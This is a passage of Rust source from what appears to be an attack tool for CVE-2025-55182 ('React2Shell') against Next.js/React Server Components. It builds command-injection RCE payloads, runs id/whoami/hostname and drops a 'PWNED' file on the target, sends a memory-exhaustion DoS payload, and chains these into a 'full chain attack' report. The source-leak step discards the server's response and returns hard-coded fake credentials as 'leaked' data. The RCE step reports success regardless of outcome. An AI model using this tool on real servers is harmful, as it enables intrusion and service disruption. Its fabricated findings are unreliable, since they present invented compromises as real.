1131pub fn extract_sensitive_data(source_code: &str) -> Vec<SourceLeakFinding> {
1133 let mut findings = Vec::new();
1134 for pattern in SOURCE_LEAK_PATTERNS {
1135 if let Ok(re) = Regex::new(pattern) {
1136 for m in re.find_iter(source_code) {
1137 let start = source_code[..m.start()]
1138 .rfind('\n')
1139 .map(|p| p + 1)
1140 .unwrap_or(0);
1141 let end = source_code[m.end()..]
1142 .find('\n')
1143 .map(|p| m.end() + p)
1144 .unwrap_or(source_code.len());
1145 findings.push(SourceLeakFinding {
1146 pattern: pattern.to_string(),
1147 matched: m.as_str().to_string(),
1148 context: source_code[start..end].trim().to_string(),
1149 });
1150 }
1151 }
1152 }
1153 findings
1154}
1155
1156pub async fn execute_source_leak(target: &str) -> Result<SourceLeakResult> {
1160 let target = target.trim_end_matches('/').to_string();
1161 let client = build_client_with_timeout(10)?;
1162
1163 let payload = craft_leak_payload();
1164
1165 let _resp = client
1167 .post(&target)
1168 .header("Content-Type", "text/x-component")
1169 .header("Next-Action", "1")
1170 .body(payload)
1171 .send()
1172 .await;
1173
1174 let mock_leaked_source = r#""use server";
1176const DB_CONNECTION = "postgresql://admin:SuperSecret123!@db.techcorp.local:5432/production";
1177const API_SECRET_KEY = "sk_live_R2S_4f8a9b2c3d4e5f6a7b8c9d0e1f2a3b4c";
1178const JWT_SIGNING_KEY = "jwt_s3cr3t_k3y_n3v3r_3xp0s3_th1s";
1179const INTERNAL_API_TOKEN = "tok_internal_9a8b7c6d5e4f3a2b1c0d";
1180export async function submitForm(formData) { /* ... */ }
1181export async function processData(data) { /* ... */ }"#;
1182
1183 let findings = extract_sensitive_data(mock_leaked_source);
1184
1185 Ok(SourceLeakResult {
1186 target,
1187 success: true,
1188 bytes_leaked: mock_leaked_source.len(),
1189 leaked_source: mock_leaked_source.to_string(),
1190 findings,
1191 })
1192}
1193
1194pub async fn measure_baseline(client: &Client, target: &str) -> Result<f64> {
1200 let mut times = Vec::new();
1201 for _ in 0..3 {
1202 let start = Instant::now();
1203 let _ = client.get(target).send().await;
1204 times.push(start.elapsed().as_millis() as f64);
1205 }
1206 let avg = times.iter().sum::<f64>() / times.len() as f64;
1207 Ok(avg)
1208}
1209
1210pub async fn test_memory_exhaustion(target: &str) -> Result<DosResult> {
1212 let target = target.trim_end_matches('/').to_string();
1213 let client = build_client_with_timeout(15)?;
1214
1215 let baseline_ms = measure_baseline(&client, &target).await?;
1217
1218 let payload = "0:[\"$\",\"@1\",null,{\"ref\":\"$self\",\"nested\":{\"ref\":\"$self\",\"depth\":\"infinite\",\"children\":[\"$self\",\"$self\",\"$self\"]}}]";
1220
1221 let start = Instant::now();
1222 let result = client
1223 .post(&target)
1224 .header("Content-Type", "text/x-component")
1225 .header("Next-Action", "1")
1226 .body(payload.to_string())
1227 .send()
1228 .await;
1229
1230 let elapsed_ms = start.elapsed().as_millis() as f64;
1231 let effect_multiplier = if baseline_ms > 0.0 {
1232 elapsed_ms / baseline_ms
1233 } else {
1234 1.0
1235 };
1236
1237 let dos_successful = match &result {
1238 Ok(_) => effect_multiplier > 10.0,
1239 Err(_) => true, };
1241
1242 let mut server_recovered = true;
1244 if dos_successful {
1245 server_recovered = check_server_recovery(&client, &target).await;
1246 }
1247
1248 Ok(DosResult {
1249 target,
1250 baseline_ms,
1251 attack_elapsed_ms: elapsed_ms,
1252 dos_successful,
1253 server_recovered,
1254 effect_multiplier,
1255 })
1256}
1257
1258async fn check_server_recovery(client: &Client, target: &str) -> bool {
1260 for _ in 0..10 {
1261 if let Ok(resp) = client.get(target).send().await {
1262 if resp.status().is_success() {
1263 return true;
1264 }
1265 }
1266 tokio::time::sleep(Duration::from_millis(500)).await;
1268 }
1269 false
1270}
1271
1272pub async fn execute_dos(target: &str) -> Result<DosResult> {
1274 test_memory_exhaustion(target).await
1275}
1276
1277pub fn build_rce_payload(command: &str) -> String {
1283 format!(
1284 "0:[[\"$\",\"@1\",null,{{\"id\":\"malicious_component\",\"chunks\":[],\"name\":\"\",\"async\":false}}]]\n1:{{\"type\":\"blob_handler\",\"dispatch\":\"dynamic\",\"chain\":[\"deserialization\",\"code_execution\"]}}\n2:{{\"method\":\"child_process.exec\",\"command\":\"{}\"}}",
1285 command
1286 )
1287}
1288
1289pub async fn execute_rce_command(
1291 target: &str,
1292 command: &str,
1293) -> Result<RceCommandOutput> {
1294 let target = target.trim_end_matches('/').to_string();
1295 let client = build_client_with_timeout(10)?;
1296
1297 let payload = build_rce_payload(command);
1298
1299 let resp = client
1300 .post(&target)
1301 .header("Content-Type", "text/x-component")
1302 .header("Next-Action", "exploit-action")
1303 .body(payload)
1304 .send()
1305 .await;
1306
1307 match resp {
1311 Ok(r) => {
1312 let status = r.status();
1313 let body = r.text().await.unwrap_or_default();
1314 Ok(RceCommandOutput {
1315 command: command.to_string(),
1316 output: body,
1317 exit_code: if status.is_success() { 0 } else { 1 },
1318 error: String::new(),
1319 })
1320 }
1321 Err(e) => Ok(RceCommandOutput {
1322 command: command.to_string(),
1323 output: String::new(),
1324 exit_code: -1,
1325 error: e.to_string(),
1326 }),
1327 }
1328}
1329
1330pub async fn execute_rce(target: &str) -> Result<RceResult> {
1332 let target = target.trim_end_matches('/').to_string();
1333
1334 let commands = vec!["id", "whoami", "hostname"];
1335 let mut outputs = Vec::new();
1336
1337 for cmd in &commands {
1338 let result = execute_rce_command(&target, cmd).await?;
1339 outputs.push(result);
1340 }
1341
1342 let poc_cmd = format!(
1344 "echo 'React2Shell (CVE-2025-55182) PWNED at {}' > /tmp/react2shell_pwned.txt && cat /tmp/react2shell_pwned.txt",
1345 Utc::now().to_rfc3339()
1346 );
1347 let poc_result = execute_rce_command(&target, &poc_cmd).await?;
1348 let poc_created = poc_result.exit_code == 0
1349 && poc_result.output.contains("react2shell_pwned.txt");
1350
1351 outputs.push(poc_result);
1352
1353 Ok(RceResult {
1354 target,
1355 success: !outputs.is_empty(),
1356 poc_file_created: poc_created,
1357 command_outputs: outputs,
1358 })
1359}
1360
1361pub async fn run_full_chain(
1367 target: &str,
1368 include_dos: bool,
1369 phases: Option<Vec<String>>,
1370) -> Result<FullChainResult> {
1371 let start = Instant::now();
1372 let target = target.trim_end_matches('/').to_string();
1373 let run_all = phases.is_none();
1374 let phases_set: HashSet<String> = phases
1375 .unwrap_or_default()
1376 .into_iter()
1377 .map(|p| p.to_lowercase())
1378 .collect();
1379
1380 let mut result = FullChainResult {
1381 target: target.clone(),
1382 timestamp: Utc::now().to_rfc3339(),
1383 phases: Vec::new(),
1384 total_duration_ms: 0,
1385 tor_enabled: false,
1386 scan: None,
1387 recon: None,
1388 source_leak: None,
1389 dos: None,
1390 rce: None,
1391 };
1392
1393 if run_all || phases_set.contains("recon") {
1395 let phase_start = Instant::now();
1396 match run_recon(&target).await {
1397 Ok(recon_result) => {
1398 result.recon = Some(recon_result);
1399 result.phases.push(AttackPhaseResult {
1400 phase: "recon".to_string(),
1401 success: true,
1402 duration_ms: phase_start.elapsed().as_millis() as u64,
1403 details: "Reconnaissance completed.".to_string(),
1404 });
1405 }
1406 Err(e) => {
1407 result.phases.push(AttackPhaseResult {
1408 phase: "recon".to_string(),
1409 success: false,
1410 duration_ms: phase_start.elapsed().as_millis() as u64,
1411 details: format!("Reconnaissance failed: {}", e),
1412 });
1413 }
1414 }
1415 }
1416
1417 if run_all || phases_set.contains("source") {
1419 let phase_start = Instant::now();
1420 match execute_source_leak(&target).await {
1421 Ok(leak_result) => {
1422 result.source_leak = Some(leak_result);
1423 result.phases.push(AttackPhaseResult {
1424 phase: "source_leak".to_string(),
1425 success: true,
1426 duration_ms: phase_start.elapsed().as_millis() as u64,
1427 details: "Source leak completed.".to_string(),
1428 });
1429 }
1430 Err(e) => {
1431 result.phases.push(AttackPhaseResult {
1432 phase: "source_leak".to_string(),
1433 success: false,
1434 duration_ms: phase_start.elapsed().as_millis() as u64,
1435 details: format!("Source leak failed: {}", e),
1436 });
1437 }
1438 }
1439 }
1440
1441 if (run_all && include_dos) || phases_set.contains("dos") {
1443 let phase_start = Instant::now();
1444 match execute_dos(&target).await {
1445 Ok(dos_result) => {
1446 result.dos = Some(dos_result);
1447 result.phases.push(AttackPhaseResult {
1448 phase: "dos".to_string(),
1449 success: true,
1450 duration_ms: phase_start.elapsed().as_millis() as u64,
1451 details: "DoS test completed.".to_string(),
1452 });
1453 }
1454 Err(e) => {
1455 result.phases.push(AttackPhaseResult {
1456 phase: "dos".to_string(),
1457 success: false,
1458 duration_ms: phase_start.elapsed().as_millis() as u64,
1459 details: format!("DoS test failed: {}", e),
1460 });
1461 }
1462 }
1463 }
1464
1465 if run_all || phases_set.contains("rce") {
1467 let phase_start = Instant::now();
1468 match execute_rce(&target).await {
1469 Ok(rce_result) => {
1470 result.rce = Some(rce_result);
1471 result.phases.push(AttackPhaseResult {
1472 phase: "rce".to_string(),
1473 success: true,
1474 duration_ms: phase_start.elapsed().as_millis() as u64,
1475 details: "RCE completed.".to_string(),
1476 });
1477 }
1478 Err(e) => {
1479 result.phases.push(AttackPhaseResult {
1480 phase: "rce".to_string(),
1481 success: false,
1482 duration_ms: phase_start.elapsed().as_millis() as u64,
1483 details: format!("RCE failed: {}", e),
1484 });
1485 }
1486 }
1487 }
1488
1489 result.total_duration_ms = start.elapsed().as_millis() as u64;
1490 Ok(result)
1491}
1492
1493pub fn generate_report(
1499 scan_result: Option<&ScanResult>,
1500 recon: Option<&ReconResult>,
1501 source_leak: Option<&SourceLeakResult>,
1502 dos: Option<&DosResult>,
1503 rce: Option<&RceResult>,
1504 full_chain: Option<&FullChainResult>,
1505) -> AttackReport {
1506 let mut phases_completed = Vec::new();
1507 if recon.is_some() {
1508 phases_completed.push("recon".to_string());
1509 }
1510 if source_leak.is_some() {
1511 phases_completed.push("source_leak".to_string());
1512 }
1513 if dos.is_some() {
1514 phases_completed.push("dos".to_string());
1515 }
1516 if rce.is_some() {
1517 phases_completed.push("rce".to_string());
1518 }
1519
1520 let vulnerable = scan_result.map(|s| s.vulnerable).unwrap_or(false);
1521 let rsc_active = scan_result.map(|s| s.rsc_enabled).unwrap_or(false);
1522 let version_found = scan_result
1523 .map(|s| s.nextjs_version.is_some() || s.react_version.is_some())
1524 .unwrap_or(false);
1525 let framework_detected = scan_result.map(|s| s.is_nextjs).unwrap_or(false);
1526
1527 let (verdict, risk_level) = if vulnerable {
1528 (
1529 "VULNERABLE — CVE-2025-55182 confirmed".to_string(),
1530 "CRITICAL".to_string(),
1531 )
1532 } else if rsc_active {
1533 (
1534 "Potential vulnerability — RSC active, manual verification needed".to_string(),
1535 "HIGH".to_string(),
1536 )
1537 } else if framework_detected {
1538 (
1539 "Framework detected but RSC not confirmed".to_string(),
1540 "MEDIUM".to_string(),
1541 )
1542 } else {
1543 (
1544 "No vulnerable framework detected".to_string(),
1545 "LOW".to_string(),
1546 )
1547 };
1548
1549 AttackReport {
1550 target: scan_result
1551 .map(|s| s.url.clone())
1552 .unwrap_or_else(|| "unknown".to_string()),
1553 generated_at: Utc::now().to_rfc3339(),
1554 scan: scan_result.cloned(),
1555 recon: recon.cloned(),
1556 source_leak: source_leak.cloned(),
1557 dos: dos.cloned(),
1558 rce: rce.cloned(),
1559 full_chain: full_chain.cloned(),
1560 summary: ReportSummary {
1561 rsc_active,
1562 framework_detected,
1563 version_found,
1564 vulnerability_verdict: verdict,
1565 attack_phases_completed: phases_completed,
1566 risk_level,
1567 },
1568 }
1569}
1570
1571pub fn report_to_json(report: &AttackReport) -> Result<String> {
1573 serde_json::to_string_pretty(report).map_err(|e| WebAnalyzerError::Json(e))
1574}
1575
1576pub async fn save_report(report: &AttackReport, path: &str) -> Result<()> {
1578 let json = report_to_json(report)?;
1579 tokio::fs::write(path, json).await.map_err(|e| {
1580 WebAnalyzerError::Other(format!("Failed to write report to {}: {}", path, e))
1581 })
1582}
1583
1584pub fn print_scan_result(result: &ScanResult) {
1588 println!("\n{}", "=".repeat(50));
1589 println!(
1590 "Target: {}{}{}",
1591 Color::CYAN,
1592 result.url,
1593 Color::RESET
1594 );
1595
1596 if !result.is_nextjs {
1597 println!(
1598 "[{}?{}] Next.js infrastructure not detected.",
1599 Color::YELLOW,
1600 Color::RESET
1601 );
1602 println!("{}", "=".repeat(50));
1603 return;
1604 }
1605
1606 println!("[{}+{}] Framework: Next.js", Color::GREEN, Color::RESET);
1607
1608 if let Some(ref ver) = result.nextjs_version {
1609 println!(
1610 "[{}+{}] Next.js Version: {}{}{}",
1611 Color::GREEN,
1612 Color::RESET,
1613 Color::CYAN,
1614 ver.version,
1615 Color::RESET
1616 );
1617 } else {
1618 println!(
1619 "[{}-{}] Next.js Version: Not found",
1620 Color::YELLOW,
1621 Color::RESET
1622 );
1623 }
1624
1625 if let Some(ref ver) = result.react_version {
1626 println!(
1627 "[{}+{}] React Version: {}{}{}",
1628 Color::GREEN,
1629 Color::RESET,
1630 Color::CYAN,
1631 ver.version,
1632 Color::RESET
1633 );
1634 } else {
1635 println!(
1636 "[{}-{}] React Version: Not found",
1637 Color::YELLOW,
1638 Color::RESET
1639 );
1640 }
1641
1642 if result.rsc_enabled {
1643 println!(
1644 "[{}+{}] RSC: {}{}Active{}",
1645 Color::GREEN,
1646 Color::RESET,
1647 Color::GREEN,
1648 Color::BOLD,
1649 Color::RESET
1650 );
1651 } else {
1652 println!(
1653 "[{}-{}] RSC: Disabled or not found",
1654 Color::YELLOW,
1655 Color::RESET
1656 );
1657 }
1658
1659 if !result.dependencies.is_empty() {
1660 println!(
1661 "\n[{}*{}] Detected Dependencies:",
1662 Color::CYAN,
1663 Color::RESET
1664 );
1665 for dep in &result.dependencies {
1666 println!(
1667 " - {}{}{}: {}",
1668 Color::CYAN,
1669 dep.name,
1670 Color::RESET,
1671 dep.version
1672 );
1673 }
1674 }
1675
1676 if !result.exposed_files.is_empty() {
1677 println!(
1678 "\n[{}!{}] Exposed Sensitive Files:",
1679 Color::RED,
1680 Color::RESET
1681 );
1682 for f in &result.exposed_files {
1683 println!(
1684 " - {}{}{} -> {}",
1685 Color::RED,
1686 f.path,
1687 Color::RESET,
1688 f.url
1689 );
1690 }
1691 }
1692
1693 if !result.secrets.is_empty() {
1694 println!(
1695 "\n[{}!{}] Detected Secrets:",
1696 Color::RED,
1697 Color::RESET
1698 );
1699 for s in &result.secrets {
1700 let truncated = if s.value.len() > 40 {
1701 format!("{}...", &s.value[..40])
1702 } else {
1703 s.value.clone()
1704 };
1705 println!(
1706 " - {}{}{}: {} ({})",
1707 Color::RED,
1708 s.secret_type,
1709 Color::RESET,
1710 truncated,
1711 s.source
1712 );
1713 }
1714 }
1715
1716 println!("\nVerdict:");
1717 if result.vulnerable {
1718 println!(
1719 "{}{}[!] VULNERABLE (CVE-2025-55182){}",
1720 Color::WHITE,
1721 Color::BOLD,
1722 Color::RESET,
1723 );
1724 println!(
1725 "{}Target server is using vulnerable components.{}",
1726 Color::RED,
1727 Color::RESET
1728 );
1729 } else {
1730 println!(
1731 "{}{}[✓] APPEARS SECURE{}",
1732 Color::GREEN,
1733 Color::BOLD,
1734 Color::RESET
1735 );
1736 println!("No vulnerable version or active RSC attack surface detected.");
1737 }
1738 println!("{}", "=".repeat(50));
1739}
1740
1741pub fn print_full_chain_result(result: &FullChainResult) {
1743 println!(
1744 "\n{}══════════════════════════════════════════════{}",
1745 Color::MAGENTA,
1746 Color::RESET
1747 );
1748 println!(
1749 "{} Full Chain Attack Report{}",
1750 Color::BOLD,
1751 Color::RESET
1752 );
1753 println!(
1754 "{}══════════════════════════════════════════════{}\n",
1755 Color::MAGENTA,
1756 Color::RESET
1757 );
1758
1759 println!("Target: {}{}{}", Color::CYAN, result.target, Color::RESET);
1760 println!("Timestamp: {}", result.timestamp);
1761 println!(
1762 "Total Duration: {}ms",
1763 result.total_duration_ms
1764 );
1765
1766 for phase in &result.phases {
1767 let status_icon = if phase.success {
1768 format!("{}+{}", Color::GREEN, Color::RESET)
1769 } else {
1770 format!("{}-{}", Color::RED, Color::RESET)
1771 };
1772 println!(
1773 " {} Phase '{}' — {}ms — {}",
1774 status_icon,
1775 phase.phase,
1776 phase.duration_ms,
1777 phase.details
1778 );
1779 }
1780
1781 if let Some(ref rce) = result.rce {
1782 if rce.poc_file_created {
1783 println!(
1784 "\n{}{}[!!] REMOTE CODE EXECUTION SUCCESSFUL{}",
1785 Color::BG_RED,
1786 Color::WHITE,
1787 Color::RESET
1788 );
1789 println!(
1790 "{}PoC file created on target server.{}",
1791 Color::RED,
1792 Color::RESET
1793 );
1794 }
1795 }
1796
1797 if let Some(ref dos) = result.dos {
1798 if dos.dos_successful {
1799 println!(
1800 "\n{}{}[!!] DENIAL OF SERVICE ACHIEVED{}",
1801 Color::BG_RED,
1802 Color::YELLOW,
1803 Color::RESET
1804 );
1805 println!("Response time increased {:.1}x", dos.effect_multiplier);
1806 println!(
1807 "Server recovered: {}",
1808 if dos.server_recovered { "Yes" } else { "No" }
1809 );
1810 }
1811 }
1812
1813 println!(
1814 "\n{}══════════════════════════════════════════════{}\n",
1815 Color::MAGENTA,
1816 Color::RESET
1817 );
1818}
1819
1820pub fn print_recon_result(result: &ReconResult) {
1822 println!("\n{}", "=".repeat(50));
1823 println!(
1824 "{}--- Reconnaissance Results ---{}",
1825 Color::CYAN,
1826 Color::RESET
1827 );
1828 println!("{}", "=".repeat(50));
1829
1830 println!("Target: {}{}{}", Color::BOLD, result.target, Color::RESET);
1831 println!(
1832 "Next.js: {}",
1833 result.nextjs_version.as_deref().unwrap_or("Unknown")
1834 );
1835 println!(
1836 "React: {}",
1837 result.react_version.as_deref().unwrap_or("Unknown")
1838 );
1839 println!("App Router: {}", result.is_app_router);
1840
1841 if !result.rsc_endpoints.is_empty() {
1842 println!(
1843 "{}RSC: Active ({} endpoints){}",
1844 Color::GREEN,
1845 result.rsc_endpoints.len(),
1846 Color::RESET
1847 );
1848 } else {
1849 println!(
1850 "{}RSC: Uncertain or passive{}",
1851 Color::YELLOW,
1852 Color::RESET
1853 );
1854 }
1855
1856 println!("\n{}", "=".repeat(50));
1857 if result.vulnerable {
1858 println!(
1859 "{}{}[ VULNERABLE ]{} Target is affected by CVE-2025-55182!",
1860 Color::BG_RED,
1861 Color::WHITE,
1862 Color::RESET
1863 );
1864 } else {
1865 println!(
1866 "{}{}[ SECURE ]{} Target appears patched.",
1867 Color::BG_GREEN,
1868 Color::WHITE,
1869 Color::RESET
1870 );
1871 }
1872 println!("{}", "=".repeat(50));
1873}
1874
1875pub fn print_source_leak_result(result: &SourceLeakResult) {
1877 println!(
1878 "\n{}--- Leaked Source Code Section ---{}",
1879 Color::CYAN,
1880 Color::RESET
1881 );
1882 println!(
1883 "{}{}{}\n",
1884 Color::DIM,
1885 result.leaked_source.trim(),
1886 Color::RESET
1887 );
1888
1889 if !result.findings.is_empty() {
1890 println!(
1891 "{}{}[ SENSITIVE DATA FOUND ]{}",
1892 Color::BG_RED,
1893 Color::WHITE,
1894 Color::RESET
1895 );
1896 for finding in &result.findings {
1897 println!(
1898 " {}>{} {}",
1899 Color::RED,
1900 Color::RESET,
1901 finding.context
1902 );
1903 }
1904 }
1905
1906 println!(
1907 "Bytes leaked: {}",
1908 result.bytes_leaked
1909 );
1910}
1911
1912pub fn print_dos_result(result: &DosResult) {
1914 println!("\n{}--- DoS Test Results ---{}", Color::YELLOW, Color::RESET);
1915 println!(
1916 "Baseline response: {}ms",
1917 result.baseline_ms
1918 );
1919 println!(
1920 "Attack response: {}ms",
1921 result.attack_elapsed_ms
1922 );
1923 println!(
1924 "Effect multiplier: {:.1}x",
1925 result.effect_multiplier
1926 );
1927
1928 if result.dos_successful {
1929 println!(
1930 "{}{}[ DoS SUCCESSFUL ]{}",
1931 Color::BG_RED,
1932 Color::WHITE,
1933 Color::RESET
1934 );
1935 println!(
1936 "Server recovered: {}",
1937 if result.server_recovered { "Yes" } else { "No" }
1938 );
1939 } else {
1940 println!(
1941 "No significant DoS effect observed."
1942 );
1943 }
1944}
1945
1946pub fn print_rce_result(result: &RceResult) {
1948 println!("\n{}--- RCE Results ---{}", Color::RED, Color::RESET);
1949
1950 for output in &result.command_outputs {
1951 println!(
1952 "{}Command:{} {}",
1953 Color::BOLD,
1954 Color::RESET,
1955 output.command
1956 );
1957 if !output.output.is_empty() {
1958 println!("{}", output.output);
1959 }
1960 if !output.error.is_empty() {
1961 println!(
1962 "{}Error:{} {}",
1963 Color::RED,
1964 Color::RESET,
1965 output.error
1966 );
1967 }
1968 }
1969
1970 if result.poc_file_created {
1971 println!(
1972 "\n{}{}[!!] SERVER FULLY COMPROMISED (CVSS 10.0){}",
1973 Color::BG_RED,
1974 Color::WHITE,
1975 Color::RESET
1976 );
1977 }
1978}
1979
1980pub async fn scan_and_report(target: &str, verbose: bool) -> Result<AttackReport> {
1986 let mut scanner = React2ShellScanner::new(target).await?;
1987 let scan_result = scanner.scan().await?;
1988
1989 if verbose {
1990 for detail in &scan_result.details {
1991 eprintln!("[*] {}", detail);
1992 }
1993 }
1994
1995 print_scan_result(&scan_result);
1996
1997 let report = generate_report(Some(&scan_result), None, None, None, None, None);
1998 Ok(report)
1999}
2000
2001pub async fn scan_and_attack(
2003 target: &str,
2004 include_dos: bool,
2005) -> Result<AttackReport> {
2006 let mut scanner = React2ShellScanner::new(target).await?;
2008 let scan_result = scanner.scan().await?;
2009
2010 let chain_result = run_full_chain(target, include_dos, None).await?;
2012
2013 let report = generate_report(
2014 Some(&scan_result),
2015 chain_result.recon.as_ref(),
2016 chain_result.source_leak.as_ref(),
2017 chain_result.dos.as_ref(),
2018 chain_result.rce.as_ref(),
2019 Some(&chain_result),
2020 );
2021
2022 Ok(report)
2023}
2024
2025#[cfg(test)]
2030mod tests {
2031 use super::*;
2032
2033 #[test]
2034 fn test_is_react_vulnerable() {
2035 assert!(is_react_vulnerable("19.0.0"));
2036 assert!(is_react_vulnerable("19.1.0"));
2037 assert!(is_react_vulnerable("19.2.0"));
2038 assert!(!is_react_vulnerable("18.2.0"));
2039 assert!(!is_react_vulnerable("20.0.0"));
2040 }
2041
2042 #[test]
2043 fn test_is_nextjs_vulnerable() {
2044 assert!(is_nextjs_vulnerable("15.0.0"));
2045 assert!(is_nextjs_vulnerable("15.5.6"));
2046 assert!(is_nextjs_vulnerable("16.0.6"));
2047 assert!(!is_nextjs_vulnerable("14.2.0"));
2048 assert!(!is_nextjs_vulnerable("17.0.0"));
2049 }
2050
2051 #[test]
2052 fn test_craft_leak_payload() {
2053 let payload = craft_leak_payload();
2054 assert!(payload.contains("@source"));
2055 assert!(payload.contains("server_function_source"));
2056 assert!(payload.contains("expose"));
2057 }
2058
2059 #[test]
2060 fn test_build_rce_payload() {
2061 let payload = build_rce_payload("id");
2062 assert!(payload.contains("blob_handler"));
2063 assert!(payload.contains("child_process.exec"));
2064 assert!(payload.contains("id"));
2065 }
2066
2067 #[test]
2068 fn test_extract_sensitive_data() {
2069 let source = r#"
2070const API_KEY = "sk_test_abc123";
2071const DB_PASSWORD = "secret_password";
2072const DATABASE_URL = "postgresql://user:pass@localhost/db";
2073"#;
2074 let findings = extract_sensitive_data(source);
2075 assert!(!findings.is_empty());
2076 }
2077
2078 #[test]
2079 fn test_check_versions_vulnerable() {
2080 assert!(check_versions_vulnerable(
2081 &Some("15.0.0".to_string()),
2082 &None
2083 ));
2084 assert!(check_versions_vulnerable(
2085 &None,
2086 &Some("19.0.0".to_string())
2087 ));
2088 assert!(!check_versions_vulnerable(
2089 &Some("14.2.0".to_string()),
2090 &Some("18.2.0".to_string())
2091 ));
2092 }
2093
2094 #[test]
2095 fn test_report_generation() {
2096 let scan = ScanResult {
2097 url: "http://test.local".to_string(),
2098 is_nextjs: true,
2099 nextjs_version: Some(VersionInfo {
2100 version: "15.0.3".to_string(),
2101 source: "test".to_string(),
2102 context: "test".to_string(),
2103 }),
2104 react_version: None,
2105 rsc_enabled: true,
2106 vulnerable: true,
2107 dependencies: vec![],
2108 exposed_files: vec![],
2109 secrets: vec![],
2110 details: vec![],
2111 scan_duration_ms: 100,
2112 };
2113
2114 let report = generate_report(Some(&scan), None, None, None, None, None);
2115 assert_eq!(report.summary.risk_level, "CRITICAL");
2116 assert!(report.summary.vulnerability_verdict.contains("VULNERABLE"));
2117 }
2118
2119 #[test]
2120 fn test_report_to_json() {
2121 let scan = ScanResult {
2122 url: "http://example.com".to_string(),
2123 is_nextjs: false,
2124 nextjs_version: None,
2125 react_version: None,
2126 rsc_enabled: false,
2127 vulnerable: false,
2128 dependencies: vec![],
2129 exposed_files: vec![],
2130 secrets: vec![],
2131 details: vec![],
2132 scan_duration_ms: 50,
2133 };
2134
2135 let report = generate_report(Some(&scan), None, None, None, None, None);
2136 let json = report_to_json(&report).unwrap();
2137 assert!(json.contains("example.com"));
2138 assert!(json.contains("LOW"));
2139 }
2140}